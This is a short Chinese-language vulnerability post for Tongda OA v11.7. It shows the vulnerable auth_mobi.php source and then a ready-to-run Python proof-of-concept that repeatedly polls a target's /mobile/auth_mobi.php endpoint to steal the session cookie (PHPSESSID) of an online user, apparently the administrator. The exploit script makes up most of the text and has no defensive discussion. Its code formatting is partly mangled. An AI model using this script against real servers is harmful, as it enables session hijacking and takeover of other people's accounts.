通达OA v11.7 在线用户登录漏洞

<?php
function relogin(){    echo _('RELOGIN');    exit;}ob_start();include_once 'inc/session.php';include_once 'inc/conn.php';include_once 'inc/utility.php';if ($isAvatar == '1' && $uid != '' && $P_VER != '') {    $sql = 'SELECT SID FROM user_online WHERE UID = '' . $uid . '' and CLIENT = '' . $P_VER . ''';    $cursor = exequery(TD::conn(), $sql);    if ($row = mysql_fetch_array($cursor)) {        $P = $row['SID'];    }}if ($P == '') {    $P = $_COOKIE['PHPSESSID'];    if ($P == '') {        relogin();        exit;    }}if (preg_match('/[^a-z0-9;]+/i', $P)) {    echo _('非法参数');    exit;}if (strpos($P, ';') !== false) {    $MY_ARRAY = explode(';', $P);    $P = trim($MY_ARRAY[1]);}session_id($P);session_start();session_write_close();if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {    relogin();}

$sql = 'SELECT SID FROM user_online WHERE UID = '' . $uid . '' and CLIENT = '' . $P_VER . ''';

import requestsimport sysimport randomimport reimport timefrom requests.packages.urllib3.exceptions import InsecureRequestWarningdef title():    print('+------------------------------------------')    print('+  33[34mPOC_Des: http://wiki.peiqi.tech                                   33[0m')    print('+  33[34mVersion: 通达OA 11.7                                               33[0m')    print('+  33[36m使用格式:  python3 poc.py                                            33[0m')    print('+  33[36mUrl         >>> http://xxx.xxx.xxx.xxx                             33[0m')    print('+------------------------------------------')def POC_1(target_url):    vuln_url = target_url + "/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0"    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",    }try:        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)if "RELOGIN" in response.text and response.status_code == 200:            print("33[31m[x] 目标用户为下线状态 --- {}33[0m".format(time.asctime( time.localtime(time.time()))))elif response.status_code == 200 and response.text == "":            PHPSESSION = re.findall(r'PHPSESSID=(.*?);', str(response.headers))            print("33[32m[o] 用户上线 PHPSESSION: {} --- {}33[0m".format(PHPSESSION[0] ,time.asctime(time.localtime(time.time()))))else:            print("33[31m[x] 请求失败，目标可能不存在漏洞")            sys.exit(0)except Exception as e:        print("33[31m[x] 请求失败 33[0m", e)if __name__ == '__main__':    title()    target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m"))while True:        POC_1(target_url)        time.sleep(5)